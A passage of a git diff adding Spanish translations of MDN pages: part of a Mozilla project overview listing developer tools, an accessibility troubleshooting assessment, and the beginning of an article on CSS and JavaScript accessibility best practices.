goog-gtc-from-mt" dir="ltr" style="">Gran parte del proyecto Mozilla está escrito en JavaScript.</span></span></dd> <dt><a class="internal" href="/es/XPCOM" title="es/XPCOM"><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">XPCOM</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Información sobre el Cross-Platform Component Object Model, que se utiliza para que los componentes escritos en lenguajes diferentes se comuniquen entre sí.</span></span></dd> <dt><a class="internal" href="/en/Interfaces" title="en/Interfaces"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Interfaces</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Documentación sobre las distintas interfaces que añaden funcionalidad a la plataforma.</span></span></dd> <dt><a class="internal" href="/en/XUL" title="en/XUL"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">XUL</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Las interfaces de usuario en los proyectos de Mozilla se describen a través del XML User Interface Language.</span></span></dd> <dt><a class="internal" href="/en/XBL" title="en/XBL"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">XBL</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El Extensible Binding Language se utiliza para enlazar elementos de interfaz de usuario creados en XUL para los eventos que se controlan por código.</span></span></dd> <dt><a class="internal" href="/en/Security" title="en/Security"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Seguridad</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">La información relacionada con la seguridad en el proyecto Mozilla.</span></span></dd> <dt><a class="internal" href="/En/Mobile" title="En/Mobile"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Móvil</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Información sobre el proyecto Fennec, una versión de Firefox para dispositivos móviles.</span></span></dd> <dt><a class="internal" href="/en/Accessibility" title="en/Accessibility"><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Accesibilidad</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Información sobre accesibilidad, un concepto que se refiere a la posibilidad de utilización de un determinado software por parte de las personas con discapacidad.</span></span></dd> <dt><a class="internal" href="/en/QA" title="en/QA"><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Control de calidad</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Documentación sobre todos los tipos de pruebas.</span></span></dd> </dl> </td> <td> <h2 id="Herramientas"><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Herramientas</span></span></h2>
+<dl> <dt><a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Bugzilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La base de datos <a class="internal" href="/en/Bugzilla" title="en/Bugzilla">Bugzilla</a> se usa para rastrear los problemas o incidencias relacionados con los proyectos de Mozilla.</span></span></dd> <dt><a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">MXR</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Navega y busca en el repositorio de código fuente de Mozilla en la Web.</span></span></dd> <dt><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi"><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Bonsai</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La herramienta <a class="internal" href="/en/Bonsai" title="en/Bonsai">Bonsai</a> te permite saber quién cambió qué archivo en el repositorio y cuándo lo hicieron.</span></span></dd> <dt><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi"><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Tinderbox</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a class="internal">Tinderbox</a> muestra el estado del árbol (si actualmente se construye o no con éxito).</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Compruébalo antes de proteger (check in) o desplegar (check out) y asegúrate de que estás trabajando con un árbol de trabajo.</span></span></dd> <dt><a class="internal" href="/en/Crash_reporting" title="en/Crash reporting"><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Seguimiento de errores</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Información sobre los sistemas de notificación de fallos </span></span><a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""> y </span></span><a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a></dd> <dt><a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Seguimiento del rendimiento</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Consulta la información sobre rendimiento para los proyectos de Mozilla.</span></span></dd> <dt><a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html"><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Foros para desarrolladores</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Una lista de temas específicos de foros de discusión, donde puedes hablar sobre temas de desarrollo de Mozilla.</span></span></dd>
+</dl></td> </tr> </tbody>
+</table>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ languages ({"en": "en/The_Mozilla_project", "ja": "ja / The_Mozilla_platform"}) }}</span></span></p>
diff --git a/files/es/learn/accessibility/accessibility_troubleshooting/index.html b/files/es/learn/accessibility/accessibility_troubleshooting/index.html
new file mode 100644
index 0000000000..2509ef8aa5
--- /dev/null
+++ b/files/es/learn/accessibility/accessibility_troubleshooting/index.html
@@ -0,0 +1,144 @@
+---
+title: 'Evaluación: Solución de problemas de accesibilidad'
+slug: Learn/Accessibility/Accessibility_troubleshooting
+tags:
+  - Accesibilidad
+  - Aprender
+  - CSS
+  - Evaluación
+  - HTML
+  - JavaScript
+  - Principiante
+  - WAI-ARIA
+translation_of: Learn/Accessibility/Accessibility_troubleshooting
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div>
+
+<p class="summary">En la evaluación de este módulo, le presentamos un sitio simple con una serie de problemas de accesibilidad que necesita diagnosticar y corregir.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Conocimiento de informática básica, una comprensión básica de HTML, CSS y JavaScript, una comprensión de los artículos anteriores del curso.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Probar los conocimientos básicos de los fundamentos de accesibilidad.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para iniciar esta evaluación, debe ir y tomar el <a href="https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true">archivo ZIP que contiene los archivos que componen el ejemplo.</a> Descomprima el contenido en un nuevo directorio en algún lugar del equipo local.</p>
+
+<p>Alternativamente, podría usar un sitio como <a href="http://jsbin.com/">JSBin</a>  o  <a href="https://glitch.com/">Glitch</a>  para hacer su evaluación. Puede pegar el HTML, CSS y JavaScript en uno de estos editores en línea. Si el editor en línea que está utilizando no tiene un panel CSS/JS independiente, no dude en colocarlos en elementos apropiados <code>&lt;style&gt;</code>  /  <code>&lt;script&gt;.</code>  </p>
+
+<p>El sitio de evaluación terminado debe tener este aspecto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14555/assessment-site-finished.png" style="border-style: solid; border-width: 1px; display: block; height: 457px; margin: 0px auto; width: 800px;"></p>
+
+<p>Verá algunas diferencias/problemas con la visualización del estado inicial de la evaluación — esto se debe principalmente a las diferencias en el marcado, que a su vez causan algunos problemas de estilo, ya que el CSS no se aplica correctamente. No se preocupe, ¡estará solucionando estos problemas en las próximas secciones!</p>
+
+<div class="blockIndicator note">
+<table style="height: 73px; width: 535px;">
+ <tbody>
+  <tr>
+   <td style="width: 555px; height: 63px;">
+    <p><strong>Nota: </strong>Si se queda atorado, pídanos ayuda — consulta la sección <a href="https://developer.mozilla.org/es/docs/Learn/Accessibility/Accessibility_troubleshooting#Assessment_or_further_help">Evaluación o más ayuda</a> en la parte inferior de esta página.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Para este proyecto, se le presenta un sitio ficticio de la naturaleza que muestra un artículo "fáctico" sobre los osos. Tal como está, tiene una serie de problemas de accesibilidad: su tarea es explorar el sitio existente y solucionarlos lo mejor de sus capacidades, respondiendo a las preguntas que se indican a continuación.</p>
+
+<h3 id="Color">Color</h3>
+
+<p>El texto es difícil de leer debido al esquema de color actual. ¿Puede realizar una prueba del contraste de color actual (texto/fondo), notificar los resultados de la prueba y, a continuación, corregirla cambiando los colores asignados?</p>
+
+<h3 id="HTML_Semántico">HTML Semántico</h3>
+
+<ol>
+ <li>El contenido todavía no es muy accesible: informe sobre lo que sucede cuando intenta navegar por él mediante un lector de pantalla.</li>
+ <li>¿Puede actualizar el texto del artículo para facilitar la navegación de los usuarios del lector de pantalla?</li>
+ <li>La parte del menú de navegación del sitio (limitada por <code>&lt;div class="nav"&gt;&lt;/div&gt;</code>) podría ser más accesible poniéndolo en un elemento semántico HTML5 adecuado. ¿A cuál debería actualizarse? Realice la actualización.</li>
+</ol>
+
+<div class="note">
+<table style="height: 117px; width: 535px;">
+ <tbody>
+  <tr>
+   <td style="width: 555px; height: 63px;">
+    <p><strong>Nota: </strong>Tendrá que actualizar los selectores de reglas CSS que estilan las etiquetas a sus equivalentes adecuados para los encabezados semánticos. Una vez que agregue elementos de párrafo, notará que el estilo se ve mejor.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Las_imágenes"><font>Las imágenes</font></h3>
+
+<p>Las imágenes son actualmente inaccesibles para los usuarios del lector de pantalla. ¿Puede arreglarlo?</p>
+
+<h3 id="El_reproductor_de_audio">El reproductor de audio</h3>
+
+<ol>
+ <li>El reproductor de <code>&lt;audio&gt;</code> no es accesible para personas con discapacidad auditiva (sordos) - ¿podría añadir algún tipo de alternativa accesible para estos usuarios?</li>
+ <li>El reproductor de <code>&lt;audio&gt;</code> no es accesible para aquellos que utilizan navegadores más antiguos que no admiten audio HTML5. ¿Cómo podrías permitir que sigan accediendo al audio?</li>
+</ol>
+
+<h3 id="Los_formularios"><font>Los formularios</font></h3>
+
+<ol>
+ <li>El elemento <code>&lt;input&gt;</code> en el formulario de búsqueda en la parte superior se podría hacer con una etiqueta, pero no queremos agregar una etiqueta de texto visible que potencialmente estropearía el diseño y realmente no es necesaria para los usuarios sin discapacidad visual. ¿Cómo podría agregar una etiqueta a la que solo puedan acceder los lectores de pantalla?</li>
+ <li>Los dos elementos <code>&lt;input&gt;</code> del formulario en el comentario tienen etiquetas de texto visibles, pero no están inequívocamente asociados con sus etiquetas, ¿cómo lograría esto? Tenga en cuenta que también tendrá que actualizar parte de la regla CSS.</li>
+</ol>
+
+<h3 id="El_control_de_mostrarocultar_comentarios"><font>El control de mostrar/ocultar comentarios</font></h3>
+
+<p>El botón de control de mostrar/ocultar comentarios no es accesible por teclado actualmente. ¿Puede hacerlo accesible al teclado, tanto en términos de enfocarlo usando la tecla de tabulación como de activarlo usando la tecla de retorno?</p>
+
+<h3 id="La_tabla"><font>La tabla</font></h3>
+
+<p>La tabla de datos no es muy accesible actualmente: es difícil para los usuarios del lector de pantalla asociar filas y columnas de datos, y la tabla tampoco tiene ningún tipo de resumen para dejar claro lo que muestra. ¿Puede agregar algunas características a su HTML para solucionar este problema?</p>
+
+<h3 id="¿Otras_consideraciones"><font>¿Otras consideraciones?</font></h3>
+
+<p>¿Puede enumerar dos ideas más para mejoras que podrían hacer que el sitio web sea más accesible?</p>
+
+<h2 id="Evaluación_o_más_ayuda">Evaluación o más ayuda</h2>
+
+<p>Si desea que se evalúe su trabajo, o si está atorado y desea pedir ayuda:</p>
+
+<ol>
+ <li>Ponga su trabajo en un editor compartible en línea como <a href="https://codepen.io/">CodePen,</a>  <a href="https://jsfiddle.net/">jsFiddle</a>o  <a href="https://glitch.com/">Glitch</a>.</li>
+ <li>Escribe una publicación pidiendo evaluación y/o ayuda en la categoría Aprendizaje del <a href="https://discourse.mozilla.org/c/mdn/learn">foro de discurso mdn</a>. Su publicación debe incluir:Un título descriptivo como "Evaluación deseada para la solución de problemas de accesibilidad".</li>
+ <li>
+  <ul>
+   <li>Detalles de lo que ya ha intentado, y lo que le gustaría que hagamos, por ejemplo, si está atascado y necesita ayuda, o quiere una evaluación.</li>
+   <li>Un enlace al ejemplo con el que desea evaluar o necesita ayuda, en un editor de compartición en línea (como se mencionó en el paso 1 anterior). Esta es una buena práctica a adquirir - es muy difícil ayudar a alguien con un problema de codificación si no se puede ver su código.</li>
+   <li>Un enlace a la tarea actual o página de evaluación, para que podamos encontrar la pregunta con la que desea ayuda.</li>
+  </ul>
+ </li>
+</ol>
+
+<p><font>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</font></p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es la accesibilidad?</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML">HTML: Una buena base para la accesibilidad</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">Prácticas recomendadas de accesibilidad CSS y JavaScript</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">Conceptos básicos de WAI-ARIA</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/Mobile">Accesibilidad móvil</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Solución de problemas de accesibilidad</a></li>
+</ul>
diff --git a/files/es/learn/accessibility/css_and_javascript/index.html b/files/es/learn/accessibility/css_and_javascript/index.html
new file mode 100644
index 0000000000..5f12f39466
--- /dev/null
+++ b/files/es/learn/accessibility/css_and_javascript/index.html
@@ -0,0 +1,359 @@
+---
+title: Buenas prácticas de accesibilidad CSS y JavaScript
+slug: Learn/Accessibility/CSS_and_JavaScript
+translation_of: Learn/Accessibility/CSS_and_JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div>
+
+<p class="summary">CSS y JavaScript, cuando se usan correctamente, también tienen el potencial de permitir experiencias web accesibles... o pueden dañar significativamente la accesibilidad si se usan incorrectamente. Este artículo describe algunas de las mejores prácticas de CSS y JavaScript que deben tenerse en cuenta para garantizar que incluso el contenido complejo sea lo más accesible posible.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conocimientos básicos de HTML, CSS y JavaScript, y comprensión de <a href="/es/docs/Learn/Accessibility/Qué_es_la_accesibilidad">qué es la accesibilidad</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Familiarizarse con el uso apropiado de CSS y JavaScript en documentos web para maximizar la accesibilidad y no restarle valor.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿CSS_y_JavaScript_son_accesibles">¿CSS y JavaScript son accesibles?</h2>
+
+<p>CSS y JavaScript no tienen la misma importancia inmediata para la accesibilidad que HTML, pero aún así pueden ayudar o dañar la accesibilidad, dependiendo de cómo se usen. Para decirlo de otra manera, es importante considerar algunos consejos de buenas prácticas para asegurarse de que el uso de CSS y JavaScript no arruina la accesibilidad de tus documentos.</p>
+
+<h2 id="CSS">CSS</h2>
+
+<p>Comencemos estudiando CSS.</p>
+
+<h3 id="Semántica_correcta_y_expectativas_del_usuario">Semántica correcta y expectativas del usuario</h3>
+
+<p><span class="tlid-translation translation" lang="es">Es posible usar CSS para hacer que cualquier elemento HTML se vea como <em>cualquier cosa</em>, pero esto no significa que deba hacerse. Como mencionamos con frecuencia en nuestro artículo <a href="/es/docs/Learn/Accessibility/HTML">HTML: Una buena base para la accesibilidad</a>, debes usar el elemento semántico apropiado para cada cosa, siempre que sea posible. Si no lo haces, puede causar confusión y problemas de usabilidad para todos, pero especialmente para los usuarios con discapacidades. El uso de la semántica correcta tiene mucho que ver con las expectativas del usuario: los elementos se ven y se comportan de cierta manera, de acuerdo con su funcionalidad, y los usuarios esperan estas convenciones comunes.</span></p>
+
+<p>Por ejemplo, un usuario de lector de pantalla no puede navegar por una página a través de elementos de encabezado si el desarrollador no ha utilizado adecuadamente los elementos de encabezado para marcar el contenido. Del mismo modo, un encabezado pierde su propósito visual si se le aplica un estilo para que no parezca un encabezado.</p>
+
+<p>La regla general es que puede actualizar el estilo de una característica de la página para que se ajuste a tu diseño, pero no cambiarlo tanto como para que ya no se vea ni se comporte como se esperaba. Las siguientes secciones resumen las principales características de HTML a considerar.</p>
+
+<h4 id="Estructura_de_contenido_de_texto_estándar">Estructura de contenido de texto "estándar"</h4>
+
+<p>Encabezados, párrafos, listas: el contenido de texto central de su página:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Cabecera&lt;/h1&gt;
+
+&lt;p&gt;Párrafo&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Mi lista&lt;/li&gt;
+  &lt;li&gt;tiene dos ítems.&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>Un CSS típico podría tener este aspecto:</p>
+
+<pre class="brush: css notranslate">h1 {
+  font-size: 5rem;
+}
+
+p, li {
+  line-height: 1.5;
+  font-size: 1.6rem;
+}</pre>
+
+<p>Deberías:</p>
+
+<ul>
+ <li>Seleccionar tamaños de fuente razonables, alturas de línea, espaciado entre letras, etc. para que el texto sea lógico, legible y cómodo de leer.</li>
+ <li>Asegurarte de que los títulos destaquen del texto del cuerpo, generalmente grandes y en negrita como estilo predeterminado. Tus listas deben parecer</li>
+ <li>El color del texto debe contrastar bien con el color de fondo.</li>
+</ul>
+
+<p>Consulte <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/texto">Fundamentos del texto HTML</a> y <a href="/es/docs/Learn/CSS/Styling_text">Estilo de texto</a> para obtener más información.</p>
+
+<h4 id="Texto_enfatizado">Texto enfatizado</h4>
+
+<p>Marcado en línea que confiere un énfasis específico al texto que rodea:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;El agua está &lt;em&gt;muy caliente&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;Las gotas de agua que se acumulan en las superficies se denominan &lt;strong&gt;condensación&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<p>Es posible que desees agregar algunos colores simples a su texto enfatizado:</p>
+
+<pre class="brush: css notranslate">strong, em {
+  color: #a60000;
+}</pre>
+
+<p>Sin embargo, rara vez necesitarás dar estilo a elementos de énfasis de manera significativa. Las convenciones estándar de texto en negrita y cursiva son muy reconocibles y cambiar el estilo puede causar confusión. Para obtener más información sobre el énfasis, consulte <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/texto#%C3%89nfasis_e_importancia">Énfasis e importancia</a>.</p>
+
+<h4 id="Abreviaciones">Abreviaciones</h4>
+
+<p>Un elemento que permite asociar una abreviatura, un acrónimo o una inicialización a su expansión:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;El contenido web se marca usando &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<p>Nuevamente, es posible que desees darle estilo de una manera simple:</p>
+
+<pre class="brush: css notranslate">abbr {
+  color: #a60000;
+}</pre>
+
+<p>La convención de estilo reconocida para las abreviaturas es un subrayado punteado, y no es aconsejable desviarse significativamente de esto. Para obtener más información sobre abreviaturas, consulte <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Advanced_text_formatting#Abreviaturas">Abreviaturas</a>.</p>
+
+<h4 id="Enlaces">Enlaces</h4>
+
+<p>Hipervínculos: la forma de llegar a nuevos lugares en la web:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Visita la &lt;a href="https://www.mozilla.org"&gt;página de inicio de Mozilla&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>A continuación se muestra un estilo de enlace muy simple:</p>
+
+<pre class="brush: css notranslate">a {
+  color: #ff0000;
+}
+
+a:hover, a:visited, a:focus {
+  color: #a60000;
+  text-decoration: none;
+}
+
+a:active {
+  color: #000000;
+  background-color: #a60000;
+}</pre>
+
+<p>Las convenciones de enlace estándar son subrayado y un color diferente (predeterminado: azul) en su estado estándar, otra variación de color cuando el enlace ha sido visitado anteriormente (predeterminado: púrpura) y otro color más cuando el enlace está activado (predeterminado: rojo) . Además, el puntero del ratón cambia a un ícono de puntero cuando se pasa el ratón sobre los enlaces, y el enlace recibe un resaltado cuando se enfoca (por ejemplo, mediante tabulación) o se activa. La siguiente imagen muestra el resaltado tanto en Firefox (contorno punteado) como en Chrome (contorno azul):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14371/focus-highlight-firefox.png" style="display: block; height: 173px; margin: 0px auto; width: 319px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14369/focus-highlight-chrome.png" style="display: block; height: 169px; margin: 0px auto; width: 309px;"></p>
+
+<p>Puedes ser creativo con los estilos de enlaces, siempre y cuando sigas dando información a los usuarios cuando interactúan con los enlaces. Definitivamente, algo debería suceder cuando los estados cambian, y no debes deshacerte del cursor del puntero o del contorno; ambos son ayudas de accesibilidad muy importantes para quienes usan los controles del teclado.</p>
+
+<h4 id="Elementos_de_formulario">Elementos de formulario</h4>
+
+<p>Elementos que permiten a los usuarios introducir datos en sitios web:</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;label for="nombre"&gt;Entra tu nombre&lt;/label&gt;
+  &lt;input type="text" id="nombre" name="nombre"&gt;
+&lt;/div&gt;</pre>
+
+<p>Puedes ver algunos buenos ejemplos de CSS en nuestro ejemplo de <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">form-css.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">pruébalo en vivo</a> también).</p>
+
+<p>La mayor parte del CSS que escribirás para los formularios será para dimensionar los elementos, alinear las etiquetas y las entradas y hacer que se vean limpios y ordenados.</p>
+
+<p>Sin embargo, no debes desviarse demasiado de la retroalimentación visual esperada que reciben los elementos del formulario cuando están enfocados, que es básicamente la mismo que con los enlaces (ver más arriba). Puedes aplicar estilos a los estados de enfoque / desplazamiento del formulario para que este comportamiento sea más coherente en todos los navegadores o se adapte mejor al diseño de tu página, pero no te deshagas de él por completo; de nuevo, las personas confían en estas pistas para ayudarles a saber qué está pasando.</p>
+
+<h4 id="Tablas">Tablas</h4>
+
+<p>Tablas para presentar datos tabulares.</p>
+
+<p>Puedes ver un buen y simple ejemplo de tabla HTML y CSS en nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html">table-css.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/css/table-css.html">pruébalo en vivo</a> también).</p>
+
+<p>El CSS de tablas generalmente sirve para hacer que la tabla se adapte mejor a su diseño y se vea menos fea. Es una buena idea asegurarse de que los encabezados de la tabla se destaquen (normalmente en negrita) y usar rayas de cebra para que las diferentes filas sean más fáciles de analizar.</p>
+
+<h3 id="Color_y_contraste_de_color">Color y contraste de color</h3>
+
+<p>Al elegir un esquema de color para tu sitio web, asegúrate de que el color del texto (primer plano) contrasta bien con el color de fondo. Tu diseño puede verse bien, pero no es bueno si las personas con discapacidades visuales como daltonismo no pueden leer tu contenido.</p>
+
+<p>Existe una manera fácil de verificar si el contraste es lo suficientemente grande como para no causar problemas. Hay una serie de herramientas de verificación de contraste en línea en las que puede introduci los colores de primer plano y de fondo para verificarlos. Por ejemplo, el <a href="http://webaim.org/resources/contrastchecker/">Comprobador de contraste de color</a> de WebAIM es fácil de usar y proporciona una explicación de lo que necesitas para cumplir con los criterios WCAG sobre el contraste de color.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: una relación de contraste alta también permitirá que cualquier persona que utilice un teléfono inteligente o una tableta con una pantalla brillante lea mejor las páginas cuando se encuentre en un entorno brillante, como a la luz del sol.</p>
+</div>
+
+<p>Otro consejo es no confiar solo en el color para las señales / información, ya que esto no será bueno para aquellos que no pueden ver el color. En lugar de marcar los campos de formulario obligatorios en rojo, por ejemplo, márcalos con un asterisco y en rojo.</p>
+
+<h3 id="Esconder_cosas">Esconder cosas</h3>
+
+<p>Hay muchos casos en los que un diseño visual requerirá que no se muestre todo el contenido a la vez. Por ejemplo, en nuestro ejemplo de <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">cuadro de información con pestañas</a> (ver <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">código fuente</a>) tenemos tres paneles de información, pero los colocamos uno encima del otro y proporcionamos pestañas en las que se puede hacer clic para mostrar cada uno (también es accesible desde el teclado - pues usar alternativamente Tab y Enter / Return para seleccionarlos).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p>
+
+<p>A los usuarios de lectores de pantalla no les importa nada de esto: están contentos con el contenido siempre que el orden del código fuente tenga sentido y puedan acceder a todo. El posicionamiento absoluto (como se usa en este ejemplo) generalmente se considera uno de los mejores mecanismos para ocultar contenido para lograr un efecto visual, porque no impide que los lectores de pantalla accedan a él.</p>
+
+<p>Por otro lado, no debes usar {{cssxref ("visibility")}}<code>: hidden</code> o {{cssxref ("display")}}<code>: none</code>, porque ocultan el contenido de los lectores de pantalla. A menos que, por supuesto, exista una buena razón por la que desees ocultar este contenido a los lectores de pantalla.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a> </span>tiene muchos más detalles útiles sobre este tema.</p>
+</div>
+
+<h3 id="Acepta_que_los_usuarios_pueden_saltarse_tus_estilos">Acepta que los usuarios pueden saltarse tus estilos</h3>
+
+<p>Es posible que los usuarios anulen tus estilos con sus propios estilos personalizados, por ejemplo:</p>
+
+<ul>
